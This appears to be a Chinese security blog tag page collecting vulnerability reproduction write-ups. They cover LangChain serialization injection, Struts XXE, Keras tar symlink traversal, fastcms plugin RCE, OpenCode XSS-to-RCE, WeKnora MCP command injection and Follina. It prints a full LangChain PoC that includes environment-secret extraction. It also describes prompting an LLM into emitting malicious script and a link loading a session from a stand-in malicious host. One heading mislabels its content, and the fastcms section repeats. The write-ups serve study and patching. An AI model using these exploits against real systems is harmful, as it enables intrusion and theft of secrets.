标签 漏洞复现 下的文章

一、漏洞简介

CVE编号: CVE-2025-68664

漏洞类型: 序列化注入漏洞 (Serialization Injection)

CVSS评分: 9.3 (严重)

影响组件: LangChain 框架的 dumps()dumpd() 函数

漏洞概述:

LangChain 是一个用于构建基于ai大语言模型(LLM)应用程序的框架。在受影响版本中,dumps()dumpd() 函数在序列化自由格式字典时,未对包含 "lc" 键的字典进行适当的转义处理。"lc" 键是 LangChain 内部用于标识序列化对象的特殊标记。当用户控制的数据包含此键结构时,在反序列化过程中可能被错误地识别为合法的 LangChain 对象,而非普通用户数据,从而导致序列化注入漏洞。

二、影响版本

# 受影响版本

langchain >= 1.0.0 且 < 1.2.5

langchain < 0.3.81

### 已修复版本

langchain >= 0.3.81

langchain >= 1.2.5

三、漏洞原理分析

3.1 序列化机制分析

3.1.1 dumps() 函数实现

# langchain_core/load/dump.py

image.png

3.1.2 dumpd() 函数实现

image.png

image.png

3.2 反序列化机制分析

3.2.1 Reviver 类实现

# langchain_core/load/load.py

image.png

image.png

image.png

关键逻辑:

1. Reviver.\_\_call\_\_() 作为 json.loads()object\_hook 被调用

2. 对于每个字典,检查是否包含 {"lc": 1} 键

3. 如果包含,根据 "type" 字段进行相应处理

4. 对于 {"type": "constructor"},会:

- 解析 "id" 获取模块路径和类名

- 动态导入模块

- 获取类并验证是否为 Serializable 子类

- 使用 "kwargs" 实例化对象

3.3 漏洞触发流程

# 正常流程(预期行为)

用户数据字典 → dumps() → JSON字符串 → loads() → 用户数据字典

#### 漏洞流程(攻击场景)

恶意字典(包含"lc"键) → dumps() → JSON字符串(保留"lc"键)
→ loads() → Reviver检查"lc"键 → 误识别为LangChain对象 → 实例化恶意对象

3.4 漏洞根源

核心问题: dumps()dumpd() 在序列化普通字典时,未对包含 "lc" 键的字典进行转义或标记,导致用户控制的字典在反序列化时被误认为是 LangChain 序列化对象。

具体表现:

1. 序列化阶段:普通字典中的 "lc" 键被原样保留

2. 反序列化阶段:Reviver 仅通过 {"lc": 1} 判断是否为 LangChain 对象,无法区分用户数据和真实序列化对象

3.5 攻击向量分析

攻击者可以构造如下恶意字典:

malicious\_dict = {

 "lc": 1,

 "type": "constructor",

 "id": \["langchain\_core", "messages", "HumanMessage"\],

 "kwargs": {

 "content": "恶意内容"

 }

}

当这个字典被 dumps() 序列化后,再通过 loads() 反序列化时:

1. Reviver 检测到 {"lc": 1} 和 {"type": "constructor"}

2. 解析 "id" 并导入 langchain\_core.messages.HumanMessage

3. 使用 "kwargs" 实例化 HumanMessage 对象

4. 返回实例化的对象,而非原始字典

**潜在风险**:

- 如果攻击者能够控制 "id" 字段,可能实例化任意 Serializable 子类

- 通过 "kwargs" 可以控制对象初始化参数

- 如果后续代码对反序列化对象有特殊处理,可进一步导致其他安全问题

四、环境搭建

4.1 环境要求

- Python 3.8+

- pip

4.2 安装受影响版本

# 安装受影响版本1.x.x(如 1.2.4)

pip install langchain==1.2.4 langchain-core==1.2.4

# 或者安装其他版本 0.3.x(如0.3.80)

pip install langchain=0.3.8

image.png

4.3 验证安装

import langchain_core

print(langchain_core.__version__) # 应显示 1.2.4 或 0.3.80

image.png

五、漏洞复现

5.1 编写脚本

``

!/usr/bin/env python3

"""

CVE-2025-68664 漏洞复现脚本

演示序列化注入漏洞

"""

from langchain_core.load import dumps, dumpd, loads, load

def test_vulnerability():

"""测试漏洞:用户控制的字典被误识别为LangChain对象"""

print("[*] 测试1: 基础漏洞复现")

print("=" * 60)

# 构造恶意字典,模拟用户输入

user_controlled_dict = {

"user_data": "正常用户数据",

"malicious": {

"lc": 1,

"type": "constructor",

"id": ["langchain_core", "messages", "HumanMessage"],

"kwargs": {

"content": "这是一个被注入的HumanMessage对象"

}

}

}

print("[+] 原始用户数据:")

print(f" 类型: {type(user_controlled_dict)}")

print(f" 内容: {user_controlled_dict}")

print()

# 序列化

print("[+] 使用 dumps() 序列化...")

serialized = dumps(user_controlled_dict)

print(f" 序列化结果: {serialized[:200]}...")

print()

# 反序列化

print("[+] 使用 loads() 反序列化...")

deserialized = loads(serialized)

print(f" 反序列化后类型: {type(deserialized)}")

print(f" 反序列化后内容: {deserialized}")

print()

# 关键检查:malicious 字段应该还是字典,但实际变成了对象

if "malicious" in deserialized:

malicious_value = deserialized["malicious"]

print(f"[!] malicious 字段类型: {type(malicious_value)}")

print(f"[!] malicious 字段值: {malicious_value}")

# 验证是否被误识别为LangChain对象

from langchain_core.messages import HumanMessage

if isinstance(malicious_value, HumanMessage):

print("[!] 漏洞确认: 用户数据被误识别为 HumanMessage 对象!")

print(f"[!] 对象内容: {malicious_value.content}")

else:

print("[?] 未检测到对象实例化")

print()

def test_dumpd_vulnerability():

"""测试 dumpd() 函数的漏洞"""

print("[*] 测试2: dumpd() 函数漏洞复现")

print("=" * 60)

# 构造恶意字典

malicious_dict = {

"lc": 1,

"type": "constructor",

"id": ["langchain_core", "messages", "AIMessage"],

"kwargs": {

"content": "注入的AIMessage"

}

}

print("[+] 原始字典:")

print(f" 类型: {type(malicious_dict)}")

print(f" 内容: {malicious_dict}")

print()

# 使用 dumpd() 序列化

print("[+] 使用 dumpd() 序列化...")

dumped = dumpd(malicious_dict)

print(f" 类型: {type(dumped)}")

print(f" 内容: {dumped}")

print()

# 使用 load() 反序列化

print("[+] 使用 load() 反序列化...")

loaded = load(dumped)

print(f" 类型: {type(loaded)}")

print(f" 内容: {loaded}")

# 验证

from langchain_core.messages import AIMessage

if isinstance(loaded, AIMessage):

print("[!] 漏洞确认: dumpd() + load() 组合存在漏洞!")

print(f"[!] 对象内容: {loaded.content}")

print()

def test_nested_injection():

"""测试嵌套注入场景"""

print("[*] 测试3: 嵌套字典注入")

print("=" * 60)

# 嵌套结构中的注入

nested_data = {

"level1": {

"level2": {

"level3": {

"lc": 1,

"type": "constructor",

"id": ["langchain_core", "messages", "SystemMessage"],

"kwargs": {

"content": "嵌套注入的SystemMessage"

}

}

}

}

}

print("[+] 嵌套恶意数据:")

print(f" 内容: {nested_data}")

print()

serialized = dumps(nested_data)

deserialized = loads(serialized)

print("[+] 反序列化后:")

print(f" level3 类型: {type(deserialized['level1']['level2']['level3'])}")

print(f" level3 值: {deserialized['level1']['level2']['level3']}")

from langchain_core.messages import SystemMessage

if isinstance(deserialized['level1']['level2']['level3'], SystemMessage):

print("[!] 嵌套注入成功!")

print()

def test_secret_injection():

"""测试 secret 类型注入"""

print("[*] 测试4: Secret 类型注入")

print("=" * 60)

# 构造 secret 类型的注入

secret_injection = {

"lc": 1,

"type": "secret",

"id": ["API_KEY"]

}

print("[+] Secret 注入数据:")

print(f" 内容: {secret_injection}")

print()

serialized = dumps(secret_injection)

deserialized = loads(serialized)

print("[+] 反序列化后:")

print(f" 类型: {type(deserialized)}")

print(f" 值: {deserialized}")

print(f" 说明: 如果环境变量 API_KEY 存在,将返回其值")

print()

if __name__ == "__main__":

print("=" * 60)

print("CVE-2025-68664 LangChain 序列化注入漏洞复现")

print("=" * 60)

print()

try:

test_vulnerability()

test_dumpd_vulnerability()

test_nested_injection()

test_secret_injection()

print("=" * 60)

print("[+] 所有测试完成")

print("=" * 60)

except Exception as e:

print(f"[!] 错误: {e}")

import traceback

traceback.print_exc()

``

5.2 poc演示

image.png

5.3 实战场景分析

1.直接 RCE的可能性不高,多重安全限制:

  • 只能实例化白名单命名空间中的类(如 langchain_core、langchain_community 等)
  • 只能实例化 Serializable 的子类
  • 只能通过 kwargs 传递参数(JSON 可序列化)
  • 部分命名空间禁止路径加载

  • 可能的RCE方法(间接)

路径 1:通过工具类(如 ShellTool、BashTool)

如果 langchain_community 中存在可执行命令的工具类

且应用在反序列化后调用了 run() 或 invoke() 方法

则可能实现 RCE

路径 2:通过链式调用

反序列化后的对象被后续代码调用

调用了危险方法

3.目前来看主要风险如下:

数据篡改:改变数据结构,导致应用逻辑错误

类型混淆:注入对象而非字典,导致类型错误

信息泄露:通过 secret 类型读取环境变量

间接 RCE:如果应用对反序列化对象有不当使用

六、总结

6.1 漏洞总结

CVE-2025-68664 是一个典型的序列化注入漏洞,其核心问题在于:

1. 序列化阶段缺乏验证: dumps()dumpd() 函数在序列化普通字典时,未对包含 "lc" 键的字典进行转义或标记,导致用户控制的特殊键结构被原样保留。

2. 反序列化阶段过度信任: Reviver 类仅通过检查 {"lc": 1} 键来判断是否为 LangChain 序列化对象,无法区分用户数据和真实的序列化对象。

3. 设计缺陷: LangChain 使用特殊键 "lc" 来标识序列化对象,但这个键本身是普通的字典键,没有机制防止用户数据使用相同的键结构。

6.2 修复建议

6.2.1 立即修复措施

1. 升级到安全版本:

bash

pip install --upgrade langchain>=1.2.5

pip install --upgrade langchain>=0.3.81

2. 代码审查: 检查项目中所有使用 dumps()dumpd()loads()load() 的地方,确保:

- 不要对不可信输入使用这些函数

- 如果必须处理用户数据,先进行验证和清理

6.3
以上分析过程仅代表个人观点,如有遗漏还请指教,谢谢!

CVE-2024-3400 Palo Alto Networks PAN-OS命令注入漏洞

1漏洞描述 看到微步等厂商发了 Struts2 S2-069 的通告

image.png

2漏洞分析 补丁里设置了禁用外部实体解析

image.png

查看该 DomHelper.parse() 方法,直接使用了默认javax.xml.parsers.SAXParserFactory,典型的xxe

Plain Text

复制代码
public static Document parse(InputSource inputSource) {
return parse(inputSource, null);
}
parse(InputSource inputSource, Map<String, String> dtdMappings) {
SAXParserFactory factory = null;
String parserProp = System.getProperty("xwork.saxParserFactory");
if (parserProp != null) {
try {
ObjectFactory objectFactory = ActionContext.getContext().getContainer().getInstance(ObjectFactory.class);
Class clazz = objectFactory.getClassInstance(parserProp);
factory = (SAXParserFactory) clazz.newInstance();
} catch (Exception e) {
LOG.error("Unable to load saxParserFactory set by system property 'xwork.saxParserFactory': {}", parserProp, e);
}
}

if (factory == null) {
factory = SAXParserFactory.newInstance(); // 使用默认 SAXParserFactory
}

factory.setValidating((dtdMappings != null));
factory.setNamespaceAware(true);

SAXParser parser;
try {
parser = factory.newSAXParser();
} catch (Exception ex) {
throw new StrutsException("Unable to create SAX parser", ex);
}
DOMBuilder builder = new DOMBuilder();

// Enhance the sax stream with location information
ContentHandler locationHandler = new LocationAttributes.Pipe(builder);
try {
parser.parse(inputSource, new StartHandler(locationHandler, dtdMappings));
} catch (Exception ex) {
throw new StrutsException(ex);
}
return builder.getDocument();
}

3环境搭建 创建一个XXEActin 调用 com.opensymphony.xwork2.util.DomHelper.parse 解析传入的 xml 即可

4漏洞复现

image.png

5影响范围 struts 框架默认不受影响,com.opensymphony.xwork2.util 只是一个工具类,DomHelper.parse 需要开发者显式调用,因此影响范围较小 6参考链接 https://issues.apache.org/jira/browse/WW-5252 https://github.com/apache/struts/commit/6658c6360e771a793ab261e5b4d3ed9dfb6720d3#diff-fbc632eaf4a09c1feac83796f72802d9e332dbb680473b1c6f3add6ad8946495R105

Keras 价值 750$的目录穿越漏洞 漏洞描述 Keras 的 keras.utils.get_file() 函数在解压缩下载的 tar 归档文件时存在目录遍历漏洞。尽管该函数实现了 filter_safe_paths() 来过滤不安全的路径,但该过滤函数存在逻辑缺陷,允许创建指向父目录 (..) 的符号链接。攻击者可构造恶意归档文件,在解压后创建指向预期目录之外的符号链接,从而可能访问或修改外部文件。

Keras 是啥 https://github.com/keras-team/keras

Keras 3 是一个多后端深度学习框架,支持 JAX、TensorFlow、PyTorch 和 OpenVINO(仅用于推理)。轻松构建和训练计算机视觉、自然语言处理、音频处理、时间序列预测、推荐系统等模型。 加速模型开发 :借助 Kera 的高级用户体验和如 PyTorch 或 JAX 等易于调试的运行时,更快交付深度学习解决方案。
最先进的性能 :通过选择最适合你模型架构的后端(通常是 JAX!),相比其他框架,实现 20%到 350%的加速。这里是基准测试。
数据中心级培训 :自信地从笔记本电脑扩展到大型 GPU 或 TPU 集群。
加入近三百万开发者行列,从初创企业到全球企业,共同利用 Keras 3 的力量。
环境搭建 测试环境

组件
版本
操作系统
Linux (Docker 容器)
Python
3.11.14
Keras
3.11.2

Docker 运行环境

源码获取

漏洞复现 PoC 代码

复现结果

然后我们来验证 两种方法,我们验证和执行一起

结果

验证成功 或者我们直接通过符号链接访问外部文件

漏洞分析 数据流分析

代码分析 文件位置: keras/src/utils/file_utils.py

关键函数

代码结构分析

函数
作用
resolve_path()
规范化路径,对已存在的符号链接会解析
is_path_in_dir()
检查路径是否在 base_dir 内
is_link_in_dir()
检查符号链接目标是否在安全范围内
filter_safe_paths()
过滤不安全的文件,yield 安全的 TarInfo

2. filter_safe_paths() 的执行流程

我们看这个流程

filter_safe_paths() 先检查路径名,后检查符号链接 符号链接的路径名 subdir/link_to_parent 是安全的 符号链接的指向目标 .. 应该被 is_link_in_dir() 检查 elif 分支永远不会执行,目标未被检查

3. resolve_path() 的关键行为 关键问题就是 os.path.realpath() 对不存在的路径不会解析符号链接

打了个解压差异 检查时路径不存在,resolve_path() 返回路径本身 "/app/subdir/link_to_parent".startswith("/app") = True 检查通过,符号链接被创建

4. extractall() 执行解压 代码

分析 符号链接 link_to_parent 被成功创建 指向父目录 ..,可以访问解压目录外的文件

目录穿越原理 梳理后就是这样

所以 POC 是这样的

符号链接的路径名 subdir/link_to_parent 在解压目录 /app/cache_123/ 内 ✓ 符号链接的指向目标 .. 解析后是 /app/ 任何遍历解压目录的代码都可能通过 link_to_parent 访问 /app/ 下的文件

漏洞修复 官方修复方案 Keras 3.13.0 修复内容: 1 调整检查顺序: 符号链接检查优先于普通文件检查 2 添加 filter 参数: 在 Python 3.12-3.13 版本中使用 filter="data" 3 重命名函数: filter_safe_pathsfilter_safe_tarinfos,逻辑改进 **Keras 3.11.2 - `keras/src/utils/file_utils.py:

**Keras 3.13.0 - keras/src/utils/file_utils.py:

如果理解了漏洞原理,就能明白为什么这样就能够修复我们的漏洞呢? 我们再次来看看这个流程

看完这个流程,就很清楚了 添加 filter="data" 支持 - `keras/src/utils/file_utils.py:

参考资料 1Python tarfile 安全警告 2CWE-22: Improper Limitation of a Pathname to a Restricted Directory 3Keras GitHub Repository 4Keras Release Notes 5Google Security Research: Tarfile Exploitation 6报告

免责声明 本报告仅供安全研究和教育目的使用。所有测试均在授权环境中进行。 请勿将本文提供的信息用于任何非法目的 本文所述漏洞利用方法仅用于帮助理解和修复安全漏洞 使用本文信息造成的任何后果,由使用者自行承担

环境搭建 windows 10 jdk 17 mysql 5.7.26 fastcms 0.1.6 下载地址:https://github.com/my-fastcms/fastcms 登录:http://127.0.0.1:8080/fastcms-master.html 账号/密码:admin/1 1 数据库配置 数据库配置文件:fastcms-master/web/src/main/resources/application.yml

SQL配置.png

数据库文件:fastcms-master/doc/sql/fastcms-master.sql

mysql -uroot -p
source D:\java\fastcms-master\doc\sql\fastcms.sql

2 开发环境 搭建环境会遇到Java 9+ 模块系统(JPMS)兼容性问题,在运行配置中添加虚拟机选项(VM options),输入下列参数即可

--add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED

1-开发环境添加虚拟机.png

3 生产环境 存在漏洞的功能在开发环境无法使用,但在生产环境又无法 debug,此节侧重于在 idea debug 打包,找到 fastcms-master/build.bat 文件(windows 环境用 bat,linux 环境用 sh),双击进行打包,打包完成会出现.dist目录

2-打包文件.png

.dist目录中,启动 startup.cmd 文件即可运行程序,但这样无法 debug,记住fastcms-master-server.jar的绝对路径,这是用 idea debug 的关键

3-jar包.png

在 idea 的运行配置中添加 jar 应用程序

4-运行配置.png

需要设置下列四个参数,jar 路径是fastcms-master-server.jar的绝对路径,工作目录则是fastcms-master-server.jar的所在目录,虚拟机选项和程序实参,则贴在图片下面。名称无所谓

4-jar应用程序配置.png

虚拟机选项

程序实参

启动成功会显示 8080 端口,以及启动时间

5-启动成功.png

代码审计 入口文件:fastcms-master/web/src/main/java/com/fastcms/web/controller/admin/PluginController.java 第一个 if 检查是否为开发环境,如果是开发环境则报错,因此必须是生产环境,生产环境 debug 前面有配置步骤,这里不在叙述,后面两个 if 判断是否有后缀,是否是 jar、zip 文件,最后进入安装环境

审计过程1.png

installPlugin 方法先安装再激活

审计过程2-installPlugin.png

loadPlugin 方法中,loadPluginFromPath 加载插件,resolvePlugins 解决依赖

审计过程3-loadPlugin.png

loadPluginFromPath 是 pf4j 的原生方法,简单看一下,pluginId 不存在代表新插件,新插件载入需要获取插件元数据(pluginDescriptor),获取插件所有类(pluginClassLoader),创建插件实例(pluginWrapper)最后通过 addPlugin 方法载入

审计过程4-加载过程.png

这里就已经实例化并载入了插件,后面需要激活插件,跟进 startPlugin 方法,根据 pluginId 获取插件,再根据插件获取实例化对象,执行 start 方法激活,中间只是判断插件的状态,是激活还是禁止

审计过程5-启动.png

start 方法如下,这是官方 HelloPlugin 插件,是否可以在这里加点代码?

审计过程6-执行start方法.png

漏洞复现 这里为了方便演示,修改官方插件,插件编写方法附在最后 找到fastcms-master/plugins/hello-world-plugin/src/main/java/com/fastcms/hello/HelloPlugin.java文件,添加下列代码

构造1.png

fastcms-master/plugins/hello-world-plugin/目录下打包成 jar 文件

fastcms-master/plugins/hello-world-plugin/target/hello-world-plugin-0.1.6-SNAPSHOT.jar

jar文件路径.png

http://127.0.0.1:8080/fastcms-master.html 登录,账号密码:admin/1

安装插件.png

此时插件管理显示暂无数据,选择打包好的 jar 文件

选择上传.png

上传成功显示插件信息,弹出计算器

上传成功.png

上面是第一次验证的步骤,如果想要重复验证,这时有三种方法 停止项目,找到astcms-master.distplugins,删除 jar,重新启动,再次上传 点击卸载,修改 jar 包名,点击上传 修改 pom.xml 中的artifactIdplugin.id标签,重新打包 jar 演示第二种:点击卸载,会弹出 405 不必理会,刷新一下会移除插件信息,但 jar 包会被保留(在自己编写插件中,若全限定类名不一致,会存在插件信息未移除的情况)

卸载.png

这时上传文件名完全一致的 jar 包会报错,修改 jar 包名后可以上传

重复上传.png

必须的插件结构(推荐在fastcms-master/plugins目录下,完成插件写好后在fastcms-master/plugins/xxx-plugin目录下用mvn clean package打包) xxx-plugin/src/main/java/com/fastcms/xxx/XxxPlugin.java xxx-plugin/plugin.properties xxx-plugin/pom.xml XxxPlugin.java

plugin.properties

pom.xml


环境搭建

windows 10

jdk 17

mysql 5.7.26

fastcms 0.1.6



下载地址:https://github.com/my-fastcms/fastcms

登录:http://127.0.0.1:8080/fastcms-master.html

账号/密码:admin/1

1 数据库配置

数据库配置文件:fastcms-master/web/src/main/resources/application.yml

SQL配置.png

数据库文件:fastcms-master/doc/sql/fastcms-master.sql

mysql -uroot -p
source D:\java\fastcms-master\doc\sql\fastcms.sql

2 开发环境

搭建环境会遇到Java 9+ 模块系统(JPMS)兼容性问题,在运行配置中添加虚拟机选项(VM options),输入下列参数即可

--add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED

1-开发环境添加虚拟机.png



3 生产环境

存在漏洞的功能在开发环境无法使用,但在生产环境又无法 debug,此节侧重于在 idea debug

打包,找到 fastcms-master/build.bat 文件(windows 环境用 bat,linux 环境用 sh),双击进行打包,打包完成会出现.dist目录

2-打包文件.png

.dist目录中,启动 startup.cmd 文件即可运行程序,但这样无法 debug,记住fastcms-master-server.jar的绝对路径,这是用 idea debug 的关键

3-jar包.png

在 idea 的运行配置中添加 jar 应用程序

4-运行配置.png

需要设置下列四个参数,jar 路径是fastcms-master-server.jar的绝对路径,工作目录则是fastcms-master-server.jar的所在目录,虚拟机选项和程序实参,则贴在图片下面。名称无所谓

4-jar应用程序配置.png

虚拟机选项

程序实参

启动成功会显示 8080 端口,以及启动时间

5-启动成功.png



代码审计

入口文件:fastcms-master/web/src/main/java/com/fastcms/web/controller/admin/PluginController.java

第一个 if 检查是否为开发环境,如果是开发环境则报错,因此必须是生产环境,生产环境 debug 前面有配置步骤,这里不在叙述,后面两个 if 判断是否有后缀,是否是 jar、zip 文件,最后进入安装环境

审计过程1.png

installPlugin 方法先安装再激活

审计过程2-installPlugin.png

loadPlugin 方法中,loadPluginFromPath 加载插件,resolvePlugins 解决依赖

审计过程3-loadPlugin.png

loadPluginFromPath 是 pf4j 的原生方法,简单看一下,pluginId 不存在代表新插件,新插件载入需要获取插件元数据(pluginDescriptor),获取插件所有类(pluginClassLoader),创建插件实例(pluginWrapper)最后通过 addPlugin 方法载入

审计过程4-加载过程.png

这里就已经实例化并载入了插件,后面需要激活插件,跟进 startPlugin 方法,根据 pluginId 获取插件,再根据插件获取实例化对象,执行 start 方法激活,中间只是判断插件的状态,是激活还是禁止

审计过程5-启动.png

start 方法如下,这是官方 HelloPlugin 插件,是否可以在这里加点代码?

审计过程6-执行start方法.png



漏洞复现

这里为了方便演示,修改官方插件,插件编写方法附在最后

找到fastcms-master/plugins/hello-world-plugin/src/main/java/com/fastcms/hello/HelloPlugin.java文件,添加下列代码

构造1.png



fastcms-master/plugins/hello-world-plugin/目录下打包成 jar 文件

fastcms-master/plugins/hello-world-plugin/target/hello-world-plugin-0.1.6-SNAPSHOT.jar

jar文件路径.png

http://127.0.0.1:8080/fastcms-master.html 登录,账号密码:admin/1

安装插件.png

此时插件管理显示暂无数据,选择打包好的 jar 文件

选择上传.png

上传成功显示插件信息,弹出计算器

上传成功.png



上面是第一次验证的步骤,如果想要重复验证,这时有三种方法

停止项目,找到astcms-master.distplugins,删除 jar,重新启动,再次上传

点击卸载,修改 jar 包名,点击上传

修改 pom.xml 中的artifactIdplugin.id标签,重新打包 jar

演示第二种:点击卸载,会弹出 405 不必理会,刷新一下会移除插件信息,但 jar 包会被保留(在自己编写插件中,若全限定类名不一致,会存在插件信息未移除的情况)

卸载.png

这时上传文件名完全一致的 jar 包会报错,修改 jar 包名后可以上传

重复上传.png

必须的插件结构(推荐在fastcms-master/plugins目录下,完成插件写好后在fastcms-master/plugins/xxx-plugin目录下用mvn clean package打包)

xxx-plugin/src/main/java/com/fastcms/xxx/XxxPlugin.java

xxx-plugin/plugin.properties

xxx-plugin/pom.xml

XxxPlugin.java

plugin.properties

pom.xml



漏洞概述

CVE-2026-22813 是OpenCode开发环境中的一个高危安全漏洞,该漏洞通过巧妙的攻击链组合,允许远程攻击者在用户本地计算机上执行任意代码(RCE)。该漏洞的影响评分为9.4,影响OpenCode 1.1.10之前的所有版本。

漏洞背景

OpenCode是一个流行的本地开发工具,默认在localhost:4096端口运行HTTP服务,提供网页UI和API接口。该工具集成了AI聊天功能,允许开发者通过自然语言交互进行编程。

三重攻击链解析

第一环:XSS漏洞(初始立足点)

漏洞位置:OpenCode网页UI的Markdown渲染器

根本原因

1 HTML净化失效:用于渲染LLM响应的DOMPurify库未正确启用净化功能

2 缺乏CSP防护:网页界面没有实施内容安全策略

3 信任边界混淆:将不可信的LLM输出直接插入DOM而不进行转义

攻击影响:攻击者通过精心设计的提示词,可以让LLM生成包含恶意JavaScript代码的响应,这些代码会在用户浏览器中执行。

技术细节

Plain Text

复制代码
// 示例:恶意LLM响应绕过净化
const maliciousResponse = {
content: 'Here is your code:<script>evil()</script>'
};
// DOMPurify未启用,脚本直接执行

第二环:服务器URL覆盖滥用(攻击放大器)

功能机制:OpenCode网页UI支持通过URL参数动态指定后端服务器地址:

Plain Text

复制代码
// packages/app/src/app.tsx中的关键代码
const defaultServerUrl = (() => {
const param = new URLSearchParams(document.location.search).get("url");
if (param) return param; // 致命缺陷:无验证、无限制
return window.location.origin;
})();

攻击利用
攻击者构造恶意链接,诱骗用户点击:

http://localhost:4096/Lw/session/ses_攻击者会话ID?url=https://恶意服务器.example

点击后的攻击流程

1 用户浏览器访问本地OpenCode页面(localhost:4096

2 网页UI读取?url=参数,连接至攻击者控制的服务器

3从攻击者服务器加载预先准备好的恶意会话内容

4恶意内容触发第一环的XSS漏洞

关键突破:此环节将需要复杂前置条件的XSS攻击转化为一键触发的远程攻击,攻击成功率从"可能"提升至"必然"。

第三环:本地API滥用(最终杀伤)

高危API端点http://localhost:4096/pty/

API功能:该端点允许在本地系统上生成任意进程,为开发功能提供终端访问。

同源策略绕过
由于恶意JavaScript代码在localhost:4096源下执行,它可以无限制地访问同源的所有API:

最终实现:攻击者可以:

1下载并执行远程恶意脚本

2安装后门程序

3窃取敏感文件

4横向移动至内网其他系统

漏洞复现

image.png



提供恶意聊天会话的一个简单方法是在真实的OpenCode实例前设置mitmproxy。这是必要的,因为OpenCode的网页界面必须加载大量资源,才能加载并显示聊天会话。

1.安装有漏洞的版本

2.创建恶意会话文件 evil_session.json



这个载荷会尝试在受害者机器上创建文件 /tmp/pwned_success 作为攻击成功的证明。

启动简易HTTP服务器

3.进行攻击

1用插件在反向代理模式下启动 mitmproxy

2 启动服务

3 构造恶意URL

在同一台运行OpenCode的机器上,访问以下URL:

原理?url= 参数滥用让本地UI加载远程恶意会话。

4 确认文件是在目录中创建/tmp/



漏洞修复



image.png



移除内嵌JavaScript

image.png



添加了 DOMPurify 依赖

image.png



在图像预览组件中添加了安全处理

防止了XSS攻击

移除移除动态JavaScript执行和自定义URL参数

image.png



改了306行代码,近乎重写了该文件

移除自定义URL参数

image.png



通过props控制,不再从window对象读取

结论

CVE-2026-22813是一个典型的"功能滥用→权限提升→系统控制"三重攻击链案例。它暴露出:

1 深度防御的缺失:缺乏输入验证、输出编码、权限控制的多层防护

2 信任模型的缺陷:过度信任客户端输入和本地网络环境

3 安全开发生命周期的不足:危险功能上线前缺乏威胁建模


CVE-2026-22688 - 腾讯WeKnora MCP Stdio 命令注入漏洞

前言

分析了这个漏洞,和 Cherry Studio 的 RCE 漏洞有些许类似,都是通过构造 MCP 服务器,然后传入恶意的参数导致的 RCE 漏洞,之后官方也是进行了修复



一、漏洞描述

WeKnora 是一个基于大型语言模型(LLM)的框架,专为深度文档理解和语义检索而设计,尤其适用于处理复杂、异构文档。

它采用模块化架构,结合了多模态预处理、语义向量索引、智能检索和大型语言模型推理。WeKnora 的核心遵循 RAG(检索增强生成) 范式,通过将相关文档块与模型推理相结合,实现高质量、上下文感知性的答案。

WeKnora 在 0.2.5 版本之前,当用户创建或更新 MCP 服务时,如果传输类型选择 stdio,系统直接将用户提交的 commandargs 参数传递给 exec.Command() 执行,未进行任何安全验证。

攻击者可以通过指定任意命令(如 bashsh)及其参数,在服务器端执行恶意系统命令。由于服务通常以容器化方式部署,攻击者可获得容器内的 shell 访问权限,进一步可能逃逸到宿主机。

二、环境搭建

我的环境

软件版本: WeKnora 0.2.3 (漏洞版本)

部署方式: Docker Compose

测试环境: macOS / Linux

Go 版本: 1.24

部署步骤


docker compose build --build-arg GOPROXY_ARG=https://goproxy.cn,direct --build-arg APK_MIRROR_ARG= app

docker compose up -d postgres redis docreader app

验证



三、漏洞分析/代码分析

漏洞触发链路

老规矩,先看链路,先懂整体流程后,然后再去分析代码,就会方便很多了

代码分析

我们直接定位到和 MCP 相关的代码部分,一个是客户端代码,一个服务端代码

客户端代码

其实核心就是参数传递的过程中,解析问题,如果没有对我们传入的参数做任何过滤,在客户端调用的过程中直接执行

NewMCPClient 函数

创建 MCP 服务的 API 入口

文件位置: internal/handler/mcp_service.go

完整的 CreateMCPService 函数

核心问题都在注释中标注出来了,创建 MCP 服务端,服务端解析的时候,也没有任何验证

服务层测试逻辑

文件位置: internal/application/service/mcp_service.go

TestMCPService 函数





命令执行的核心代码

文件位置: internal/mcp/client.go

NewMCPClient 函数中的 stdio 处理部分

Connect 函数

四、漏洞复现

复现步骤

步骤 1: 注册用户账号

请求





然后我们去登录

步骤 2: 登录获取 Token

请求





有了用户我们就可以创建 MCP 服务器了

步骤 3: 创建恶意 MCP 服务

请求





步骤 4: 触发命令执行

请求



这部响应会超时,是正常的





步骤 5: 验证命令执行结果



成功



一键利用脚本

文件: exploit_weknora_rce.py



五、漏洞修复

修复版本: WeKnora >= 0.2.5

官方在 commit f7900a5e9a18c99d25cec9589ead9e4e59ce04bb 中添加了完整的输入验证机制。





internal/utils/security.go



主要是四个方面加入了黑名单



参考资料

GHSA-78h3-63c4-5fqc - WeKnora MCP Stdio Command Injection

修复 Commit f7900a5

WeKnora GitHub Repository

CWE-78: OS Command Injection

Model Context Protocol (MCP) Specification

QQNT 42744 存在广泛扩散且严重威胁安全的XSS安全问题 所有在此版本的用户看到特定代码会自动在本机执行 请各位管理以及群友为了安全问题立刻降级QQNT 42744 版本查看左下角-关于 复现方法简单到令人发指 不提供复现 极易利用

2015.11.28 QQ内部灰度测试安装:QQNT42744

前言

近期新爆出的漏洞office的0day,利用msdt+远程加载
CVE:CVE-2022-30190

样本地址:https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/#

简单分析

无VBA,远程加载


doc改名zip解压,搜索远程加载的地址定位到word_rels\document.xml.rels

通过查看app.any.run沙箱捕获的请求地址内容,查看如下

中间的内容是一段powershell,解码后如下

<!doctype html>
<html lang="en">
<body>
<script>
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
